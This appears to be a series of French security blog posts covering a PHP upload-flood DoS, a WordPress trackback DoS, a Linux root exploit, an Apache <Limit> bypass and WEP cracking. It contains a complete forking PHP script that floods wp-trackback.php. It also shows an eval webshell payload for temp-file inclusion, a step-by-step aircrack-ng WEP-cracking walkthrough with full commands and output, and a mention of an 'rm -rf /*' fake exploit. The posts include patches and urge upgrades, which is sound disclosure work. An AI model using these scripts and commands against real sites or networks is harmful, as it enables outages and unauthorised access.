Concept

Lorsque l’on envoie une requête POST à un script PHP avec le content-type « multipart/form-data » et que l’on inclut une liste de fichiers dans cette requête, PHP crée un fichier temporaire pour chaque fichier de la requête. PHP crée ces fichiers sans même regarder si le script supporte l’upload de fichiers. Après l’exécution du script, les fichiers temporaires sont normalement effacés.

Le problème vient donc du fait que si vous incluez un très grand nombre de fichiers dans la requête, PHP a besoin de créer ces fichiers avant l’exécution du script et donc la suppression qui devrait en découler.

Le denial of service apparait lorsque l’on crée bons nombres de requêtes (ca rappelle vaguement la faille wordpress, et la plupart des DoS bien entendu), et que chaque requête contient beaucoup de fichiers à traiter (+15000).

Lorsque vous envoyez cette requête au serveur web, il s’écroule et cesse de répondre car il doit processer un énorme nombre de fichiers (création / suppression) dans un très court délai.

N’importe quel site tournant sous PHP et où l’upload de fichier est activé (configuration par défaut) est vulnérable. Il n’est pas nécessaire d’avoir un formulaire d’upload pour exécuter l’exploit. Cette faille est donc critique. J’ai d’ailleurs lu dans mes RSS d’hier qu’OVH organisait une patch party cette nuit, je suppose que c’est pour protéger ses mutualisés de cette faille.

PHP intègre deux paramètres de configuration qui ont attrait à l’upload:

upload_max_filesize
post_max_size

Cependant, ces deux paramètres ne sont pas suffisants pour enrayer ce DoS.

Notions d’enrayement

Trois workarounds sont proposés concernant cette faille:

• Désactiver l’upload de fichier
  Si vous n’avez pas besoin d’uploader des fichiers sur votre dédié, vous pouvez donc désactiver cette fonctionnalité.
  file_uploads = Off dans le php.ini

• Installer PHP 5.3.1
  Si vous ne pouvez pas désactiver l’upload de fichiers, alors il convient d’upgrader PHP à la version 5.3.1.

  Cette nouvelle version intègre un patch pour la faille:
  En effet; max_file_uploads a été ajouté et permet de définir le nombre maximum de fichiers à processer à la fois (limité à 20 par défaut) afin d’enrayer les possibilités de DoS par trop grand nombre de fichiers temporaires.

• Installer Suhosin PHP Extension /!\
  L’extension Suhosin possède une option nommée « suhosin.upload.max_uploads ». Cette option définit le nombre maximum de fichiers qui peuvent être uploadés par requête, définit par défaut à 25.
  /!\Suhoshin PHP extension ne doit pas être confondu avec Suhosin patch qui ne protège pas de cette attaque mais est assez largement déployé sur les serveurs de productions.

Tests dans des environnements de production

• PHP on Linux (Ubuntu 8.10) / PHP Version 5.2.6-2ubuntu4.3


Timeline:
14:50 – started the attack
14:51 : web server is no longer responsive.
load average: 102.02, 30.68, 10.68
14:52 : web server is not responsive.
load average: 129.95, 49.29, 18.05
14:52 – attack is aborted
14:53 – web server is not responsive.
load average: 143.58, 67.90, 26.41
14:54 – web server is not responsive.
load average: 149.60, 89.58, 37.93
16:05 – web server is not responsive.
load average: 151.64, 120.91, 60.94


Vérification du nombre de fichiers temporaires crée par l’auteur:

$ls -la /tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0

Création d’un fichier pour compter le nombre de fichiers crées:

$php count_files_from_dir.php /tmp/php*
2.419.649

Donc une heure après, le serveur ne répond toujours pas et 2.419.649 fichiers temporaires ont été crées.

Si l’on redémarre le serveur, ces fichiers ne sont pas effacés.

• PHP on FreeBSD 7.2 / PHP Version 5.2.9


Timeline:
14:00 – attack is started.
14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))
load average: 87:22, 22.61, 9.9
14:02 – attack is aborted.
14:06 – web server is no longer responsive.
load averages: 45.42, 42.35, 22.59
14:11 – web server is not responsive.
load averages: 26.77, 35.78, 23.49
The system is slowed down to a crawl.
Basically you cannot even write a command in a remote PUTTY session.
14:17 – web server is not responsive.
The console is continuously displaying kernel error messages like:
swap_pager_getswapspace(2): failed
swap_pager_getswapspace(16): failed
swap_pager_getswapspace(3): failed
…
pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes
…
14:23 – web server is responsive.
load averages: 0.79, 29.10, 37.13

Même chose lorsque l’auteur tente de compter les fichiers temporaires:

$ls -la /var/tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0
$ls -la /var/tmp/php
Display all 117490 possibilities? (y or n)

Donc nous avons 117490 fichiers temporaires sur le serveur.

• PHP on Windows: XAMPP / XAMPP for Windows setup filename: xampp-win32-1.7.2.exe / PHP Version 5.3.0


Timeline:
12:30 – started the attack
12:30 + few seconds: CPU usage => 100%


En quelques secondes, le serveur ne répond plus, 65535 fichiers temporaires sont crés et aucun autre ne peut être crée.

Sur XAMPP pour Windows, PHP crée les fichiers temporaires dans C:\xampp\tmp (si votre installation est dans C:\xampp\)
Les fichiers sont appelés phpXXXX.tmp (Où X’s charset est ‘a’-’z’, ‘A’-’Z’, ‘0′-’9′).
Exemple: php1A00.tmp

12:31 – attack is aborted
12:39 – CPU usage is still 100%, web server is not responsive.
13:08 – CPU usage is still 100%, web server is responsive.
14:08 – CPU usage is 97%
14:34 – CPU usage is 97%

Deux heures plus tard l’utilisation du CPU n’est pas revenue à la normale. Cependant le serveur web répond à nouveau. Après un redémarrage du serveur, l’utilisation du CPU redevient normale. Cependant les 65535 fichiers temporaires ne sont pas effacés.

• PHP on OpenBSD 4.6 / PHP Version 5.2.10


Timeline:
12:00 – started the attack
12:00 + few seconds: CPU usage => 100%
12:01 – attack is aborted
12:01 – web server is no longer responsive.
load averages: 120.42, 50.35, 20.59
12:04 – web server is no longer responsive.
load averages: 147.17, 80.74, 36.46
The system is slowed down to a crawl.
12:06 – web server is responsive.
load averages: 122.59, 96.03, 48.31


A ce point le serveur web est ralenti mais continue à servir les pages

12:07 – web server is responsive.
load averages: 63.67, 85.01, 47.26
12:10 – web server is responsive.
load averages: 6.56, 52.75, 40.03
12:12 – web server is responsive.
load averages: 0.55, 16.36, 26.50

Le système est revenu à la normale.

OpenBSD gère très bien ce type d’attaque, les effets n’ont durés que quelques minutes.

Pourquoi cela ? Grace à Suhosin PHP extension. OpenBSD a cette extension activée par défaut.

Exploitation

Dans certains cas, cette attaque peut se transformer une inclusion locale et donc en exécution de code distant. La plupart des OS n’effacent pas les fichiers temporaires crée, même après redémarrage du serveur web. De fait un grand nombre de fichiers temporaires sont laissés dans le répertoire temporaire (habituellement /tmp sur les systèmes unix). On peut donc tenter de deviner le nom de l’un de ces fichiers et de l’inclure.

Pour que cela fonctionne, tous les fichiers uploadés doivent contenir le code php suivant: <?php eval($_REQUEST[x]); ?>.

Sur les système tournant sous Windows, seulement quatre caractères sont utilisés pour générer les fichiers temporaires (phpXXXX.tmp). Une fois que le serveur répond à nouveau, il y a 65 535 fichiers dans le repertoire temporaire. Il est donc possible de deviner facilement le nom de l’un de ces fichiers et de l’inclure.

Sur unix, 6 caractères sont utilisés pour gérer les fichiers temporaires, il est donc impossible de deviner le nom de ceux-ci. Ou alors, cela prendra beaucoup de temps. L’auteur a tenté cette méthode sur un serveur ayant généré 800 000 fichiers temporaires. Après cinq minutes de tentative, il a réussi à deviner le nom d’un fichier et à exécuter du PHP.

Le script python permettant de générer l’attaque n’a pas été publié. Enfin, pas par l’auteur en tout cas. Cela se comprend aisément, du fait des conditions réunis: PHP largement déployé, pas besoin de formulaire d’upload, upload activé par défaut, seulement la dernière version corrige la faille, extension Suhosin non déployée par défaut sauf sur OpenBSD, de quoi faire tomber 70% des serveurs de la planète.

Mettez rapidement à jour vos serveurs. Un script doit déjà assez largement être distribué.

Références

L’équipe d’Acunetix essentiellement connue pour son scanner de failles web; devenu d’ailleurs entre temps un scanner de port, un soft d’exploitation d’injection SQL, un forgeur de packet HTTP et j’en passe; a averti l’équipe PHP le 27 octobre. L’auteur de cette découverte est bogdan de l’équipe Acunetix. On notera d’ailleurs avec intérêt qu’Acunetix n’a pas sorti l’adviso trois jours après avoir contacté le vendor; suivez mon regard :-)

Correction rapide

On vient de patcher quelques serveurs, la version 5.3.1 a pas été poussée dans les dépots officiels, on a donc installé suhosin qui lui y est:
apt-get install php5-suhosin
(http://packages.debian.org/lenny/php5-suhosin)

La configuration se passe dans /etc/php5/apache2/conf.d

suhosin.upload.max_uploads
Type: Integer
Default: 25
Defines the maximum number of files that may be uploaded with one request.

4. C’est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.

01h25, c’est l’heure à laquelle j’écris ce billet: vous m’excuserez donc pour les fautes d’orthographes du billet cet article c’est un peu une « Breaking News ».

Aujourd’hui a donc été release un « WordPress Exhaustion Exploit », c’est une appellation relativement savante pour dire que ca peut faire sauter les services d’un serveur en 36 lignes de code. Je viens de le tester sur l’un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n’est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.

L’attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c’est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.

La faille en elle-même c’est quoi ? Elle se situe au niveau de la gestion de l’encodage du titre.

if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}


En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:

mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)

Dans charset_d_origine on peut spécifier plusieurs charsets. Si l’on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu’elle a trouvé le meilleur, elle va transformer chaine_que_l’on_veut_convertir en nouveau_charset.

Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu’il y a 23 333 charsets d’origine possible (« UTF-8, » fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l’on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l’on envoie la requête une fois, le serveur la traite, maintenant si on répète l’opération sur un délai très court le serveur apprécie moins. C’est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.

<?
if(count($argv) < 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n <= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?>

Pour l’enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:

$charset = $_POST['charset'];

et la remplacer par:

$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Ce patch permet d’enlever les virgules, du coup le script n’a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L’autre façon de passer un charset_d_origine à la fonction c’est un tableau, là on va pas faire dans la dentelle, si c’est un tableau, on exit.

Sinon vous pouvez toujours deny from all wp-trackback.php ;-)

L’exploit a été posté sur Full-Disclosure aujourd’hui à 14h30. Il semble avoir été découvert par rooibo et amélioré par Zerial. Ce n’est vraiment pas impossible que d’ici quelques jours de joyeux lurons s’amusent à attaquer les WordPress des bloggeurs « influents » les plus connus. Rooibo explique sur son blog qu’il a avertit l’équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.

Le correctif proposé est celui de roobio, je pense qu’il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu’un str_replace sur un array conduit à du path disclosure.

Rapide update: WordPress vient de release la version 2.8.5.

Voici le diff sur le fichier qui nous intéresse:
john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php
--- wordpress-2.8.4/wp-trackback.php 2008-05-25 17:50:15.000000000 +0200
+++ wordpress-2.8.5/wp-trackback.php 2009-10-19 17:10:59.000000000 +0200
@@ -50,7 +50,7 @@
$blog_name = stripslashes($_POST['blog_name']);

if ($charset)
- $charset = strtoupper( trim($charset) );
+ $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
else
$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';


Sinon j’ai fait le diff complet ici, car je ne trouve pas l’officiel chez WordPress: diff WordPress-2.8.4 WordPress 2.8.5

Cette faille permet depuis un simple compte utilisateur de passer root. Et la mauvaise nouvelle c’est que cela affecte la plupart des kernels supportant IPv6 (bon ca c’est la version édulcorée, en vrai c’est le protocole qui gère Bluetooth, PPPoX, IRDA et autres joyeusetés); c’est à dire:

- Linux 2.4, de 2.4.4 jusqu’à 2.4.37.4 compris.
- Linux 2.6, de 2.6.0 jusqu’à 2.6.30.4 compris.

C’est donc un monstre de dangerosité. Inutile de se lancer dans des élucubrations sur la faille en elle même, elle est bien évidemment largement documentée par ses auteurs: http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html ou surtout le blog de julien (qui doit voir son PR exploser).

- return sock->ops->sendpage(sock, page, offset, size, flags);
+ return kernel_sendpage(sock, page, offset, size, flags);

Cette ligne suffit à corriger la faille dans le kernel, patchée d’ailleurs par Sieur Torvalds himself. Le patch est ici.

Cette faille provoque bien évidemment une patch party chez les hébergeurs sérieux ayant avertis leurs clients. Par exemple OVH a avertis par mailing mais également sur le forum. Ils mettent à disposition une version recompilée du noyau sur ftp://ftp.ovh.net/made-in-ovh/bzImage/.

Je vous encourage vivement à mettre à jour vos systèmes. L’exploit est en effet disponible sur milw0rm, [2]. Enfin dernière chose amusante, l’auteur du premier exploit est Brad Spengler, oui oui l’auteur de Grsecurity (Un patch qui permet d’ajouter des fonctions de sécurité au kernel). D’ailleurs les kernels tournant avec GRS ne sont pas faillibles :-) Pied de nez aux personnes n’étant pas disposées à réduire un peu les performances pour améliorer la sécurité de leurs serveurs.

Juste pour information sur mon introduction, Julien Tinnes n’est pas à son premier coup d’essai, [2], [3 !]. Il travaille désormais chez Google comme Ingénieur Securité après avoir fait un passage chez Orange Labs. Décidément pas de chaussure au pieds des ingés sécurité en France ?

Sur ce, bonne lecture et bon tests.

Presque 3 mois sans poster, j’ai fait une petite rechute. Tiens en parlant de chute, j’ai une bonne excuse, je me suis cassé l’olécrane lors d’une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :)

Cette fracture m’a encore appris plein de choses en medecine, je reste vraiment persuadé qu’il faut profiter de chacune des épreuves que la vie nous envoie pour se documenter au maximum dessus. Ainsi je suis devenu expert en brochage / cerclage / haubanage, pseudarthrose et plein d’autres choses amusantes.

J’ai quand même gardé un oeil attentif sur l’ensemble de (belles) choses étant sorties au cours de ces trois mois. Sans être exhaustif, j’ai trouvé sympa:

• Le Dos Apache Slowlaris.pl qui est vaguement lié à TCP Handshake flood.
• L’exploit phpmyadmin, même s’il faut que l’admin ait choisi la wizard installation. Et a priori un scanner en a découlé.
• L’énnormmmeeee foin que crée la (fake ?) hole openssh. Chacun y est allé de son petit commentaire « Pas possible ? », « Bruteforce ? », « J’avais dit qu’il faut SSH par key ! ». Ca a upgradé en cascade chez la plupart des hosteurs, y compris OVH.
• La *faille* <= 8.1 WordPress. Bon il s’agit juste d’un XSS mais ca peut conduire à des attaques de phishing efficace.
• La sortie de nmap 5.0 qui rajoute tout plein de choses interessantes: Ncat, Ndiff, NSE. A découvrir dans la tarball.
• La RC 7 de sqlmap et l’intégration de sqlmap dans la distribution debian. C’est vraiment une bonne chose.
• Les deux failles navigateurs: MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit et Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit. Là avec du code malveillant sur un site à trafic, il y avait a vraiment de quoi faire mal.
• La sortie de l0phtcrack 6.
• Des failles sur twitter, et surtout, le piratage de twitter qui a mis le serveur de Korben sur les rotules.
• Et j’ai gardé le meilleur pour la fin, le fake exploit OpenOwn.c (basé sur le « buzz » de la faille OpenSSH, qui fait un joli rm -rf /*.
• Tout plein d’autres choses que je n’ai pas le courage de mettre ici :)

Passez un bon week end :-)

Bon j’avoue, j’ai un peu triché, derrière ce titre racoleur se trouve une erreur de configuration assez grossière, mais que l’on retrouve, sans exagérer dans 70% des cas. Le premier responsable de cette faille est, il me semble, le site http://www.commentcamarche.net/. Pourquoi ca ? Simplement parce qu’ils sortent premier sur la recherche « Création htaccess« .

Et comment nous proposent-ils de créer un htaccess ?
Je cite:

ErrorDocument 403 http://www.commentcamarche.net/accesrefuse.php3
AuthUserFile /repertoire/de/votre/fichier/.FichierDeMotDePasse
AuthGroupFile /dev/null
AuthName "Accès sécurisé au site CCM"
AuthType Basic
<LIMIT GET POST>
Require valid-user
</LIMIT>

Donc si l’on fait un tour rapide:

• La première ligne donne la page où l’on doit rediriger lors d’une 403 (Erreur d’auth ou deny from all par exemple)
• La seconde donne le chemin du fichier contenant les mots de passe
• La troisième le chemin du fichier de groupe
• La quatrième, c’est le wording du prompt login / pass
• La cinquième donne le mode d’authentification, dans ce cas auth basic (mod_auth_basic)
• Enfin, les trois dernières expliquent que pour exécuter les requêtes GET et POST, il faut être un utilisateur authentifié.

Tout cela est assez schématisé, mais l’idée est là. Donc si je tente d’accéder à la page protégée, j’effectuerais une requête de type:

GET http://www.example.com/admin/index.php HTTP/1.0

Et je vais donc atterir sur une 401 Authorization Required. Où se situe l’astuce ? Apache ne gère pas correctement les requêtes mal formée. Je m’explique, si à la place de faire un GET ou un POST, je fais un:

JOHN http://www.example.com/admin/index.php HTTP/1.0

Apache me renverra le contenu de la page présente derrière /admin/index.php (200). Lorsque je dis que 70% des sites sont faillibles, c’est tellement il est facile pour un webmaster paresseux de réaliser cette configuration. htaccess permet de modifier localement la configuration d’apache, du coup chaque webmaster peut créer sa propre faille en suivant les conseils d’un site généraliste comme commentcamarche. Deux coupables: le webmaster car il dépose une config qu’il ne comprend pas et Apache car il interprète les requêtes mal formée comme étant des GET. Grosso-modo, il est possible pour le premier venu d’aller se balader sur les backoffices en forgeant simplement sa requête à base de JOHN.

Comment patchons nous cette faille ?
Tout simplement en ôtant de notre htaccess la limit GET, POST. En effet, aucun intérêt de limiter à GET et POST le require valid-user si ce dernier est effectivement nécessaire. D’ailleurs dans les préconisations globales d’apache, ils recommandent de ne pas utiliser les limit lors de la création de htaccess. Je cite:

Access controls are normally effective for all access methods, and this is the usual desired behavior. In the general case, access control directives should not be placed within a <Limit> section.

The purpose of the <Limit> directive is to restrict the effect of the access controls to the nominated HTTP methods. For all other methods, the access restrictions that are enclosed in the <Limit> bracket will have no effect. The following example applies the access control only to the methods POST, PUT, and DELETE, leaving all other methods unprotected.

Il y a deux méthodes pour analyser les données: soit l’on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d’injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que BackTrack 3 optimise assez largement les algos pour cracker, il n’est plus nécessaire d’avoir beaucoup d’IVs pour décrypter une clé WEP.

Après avoir booté sur le LiveCD, voici comment cela se présente:

// Tout d’abord on charge le driver pour la fameuse carte
bt ~ # modprobe -r iwl3945
bt ~ # modprobe ipwraw

// On la passe en mode monitor
bt ~ # airmon-ng start wifi0

// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.
bt ~ # airodump-ng wifi0

// Le but est de prendre celle qui a le plus de beacons, et lorsque l’on choisit celle-ci, on repère bien le channel, le BSSID et l’ESSID. Dans mon cas, supposons:
Channel: 11
BSSID: 00:01:02:03:04:05
ESSID: RESEAU-CRYPT

A partir d’ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d’emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.

// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d’abord, je vais m’auth sur le système distant (-e représente le SSID de la cible, -h représente l’adresse Mac source, généralement, nous):
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0

Généralement cette commande doit vous retourner:
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:56:39 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».

11:56:39 Sending Authentication Request (Open System) [ACK]
11:56:39 Authentication successful
11:56:39 Sending Association Request [ACK]
11:56:39 Association successful (AID: 1)

Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).

bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:55:23 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:55:23 wifi0 is on channel 12, but the AP uses channel 11

Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:

bt ~ # airmon-ng start wifi0 11
wifi0 Centrino a/b/g ipwraw-ng (monitor mode enabled)

//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39 Association successful (AID: 1). Nous allons désormais générer une keystream valide afin de forger notre packet d’injection:

bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)
11:57:55 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:57:55 Waiting for a data packet…
Read 2791 packets…

Size: 371, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:01:02:03:04:05
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = BLABLA

0×0000: 0841 3a01 0016 3810 7484 0013 ce8a 8259 .A:…8.t……Y
0×0010: ffff ffff ffff 1000 0100 0000 2f23 a566 …………/#.f
0×0020: 8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398 …3,….e.y~.s.
0×0030: 42fc a81c e682 179c ac10 f1a3 d83e 3770 B…………>7p
0×0040: a3ff cb34 62e0 e232 3e17 8340 544b ee1d …4b..2>..@TK..
0×0050: f06c a543 3b51 05d6 bdb0 a10a a159 4fbd .l.C;Q…….YO.
0×0060: 2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6 $…X….r….).
0×0070: 6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9 b4..K……&V…
0×0080: 5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1 ].’.E:.6…|.?..
0×0090: 2813 b8e4 a24c 3bce dc98 2be2 6a79 c313 (….L;…+.jy..
0x00a0: f530 7596 4430 958d 2406 de88 7664 481f .0u.D0..$…vdH.
0x00b0: 7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949 |……o…….I
0x00c0: b12e 6507 cab2 6619 d6d8 9a1c a018 720c ..e…f…….r.
0x00d0: e004 2c4f 533b 1326 0c57 0006 2950 e468 ..,OS;.&.W..)P.h
— CUT —

Use this packet ? y

Saving chosen packet in replay_src-0726-115911.cap
11:59:20 Data packet found!
11:59:20 Sending fragmented packet
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 384 bytes of a keystream
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 1500 bytes of a keystream
11:59:20 Got RELAYED packet!!
Saving keystream in fragment-0726-115920.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d’injection. Packetforge-ng est là pour ca.
//arp définit le type d’attaque
//-y passe le fragment à utiliser généré par airplay
//-a adresse MAC de la cible (BSSID)
//-h adresse MAC de l’attaquant
//-k notre adresse ip suppossée
//-l adresse ip supposée du routeur
//-w permet d’écrire le packet d’injection final
bt ~ # packetforge-ng –arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap
Wrote packet to: alice.cap

//Essayons maintenant d’injecter des données histoire de voir si tout a fonctionné:

bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0
12:04:07 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
Saving ARP requests in replay_arp-0726-120407.cap
You should also start airodump-ng to capture replies.
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets…(500 pps)

Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes. Il faut parfois se ré-authentifier avant de lancer l’injection de donnée. Vous pouvez stopper l’injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:

// On sniffe l’interface sur laquelle nous avons travaillé:
bt ~ # airodump-ng -w capture –channel 11 wifi0

// Les datas ne bougent alors pas beaucoup. On injecte donc les données:
bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0

//Enfin, on lance, en parallèle à l’envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n’est pas grave si lorsque vous lancez le crack il n’y a pas encore assez d’IVs, il est reloadé régulièrement.

bt ~ # aircrack-ng capture-01.cap
Opening capture-01.cap
Read 121863 packets.

# BSSID ESSID Encryption

1 RESEAU-CRYPT2 No data – WEP or WPA
2 RESEAU-CRYPT3 No data – WEP or WPA
3 00:01:02:03:04:05 RESEAU-CRYPT WEP (33689 IVs)
4 RESEAU-CRYPT4 No data – WEP or WPA
5 RESEAU-CRYPT5 None (0.0.0.0)
6 RESEAU-CRYPT6 No data – WEP or WPA
7 RESEAU-CRYPT7 No data – WEP or WPA

Index number of target network ? 3

// On selectionne le ESSID sur lequel on a travaillé, et là magie:

bt ~ # Aircrack-ng 1.0 rc1 r1085

[00:00:03] Tested 1339440 keys (got 33677 IVs)

KB depth byte(vote)
0 1/ 2 2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)
1 0/ 1 A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)
2 0/ 1 FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)
3 0/ 1 BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)
4 0/ 2 3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)
5 0/ 1 A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)
6 1/ 2 16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)
7 0/ 2 7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)
8 0/ 1 75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)
9 0/ 1 F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)
10 17/ 10 E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)
11 0/ 2 AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)
12 0/ 1 A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)

KEY FOUND! [blabla]
Decrypted correctly: 100%

Si les suites air* ne vous sont pas familières, je vous conseille d’aller vous balader par ici:
http://linux.die.net/man/1/airmon-ng
http://linux.die.net/man/1/airodump-ng
http://linux.die.net/man/1/aireplay-ng
http://linux.die.net/man/1/packetforge-ng
http://linux.die.net/man/1/aircrack-ng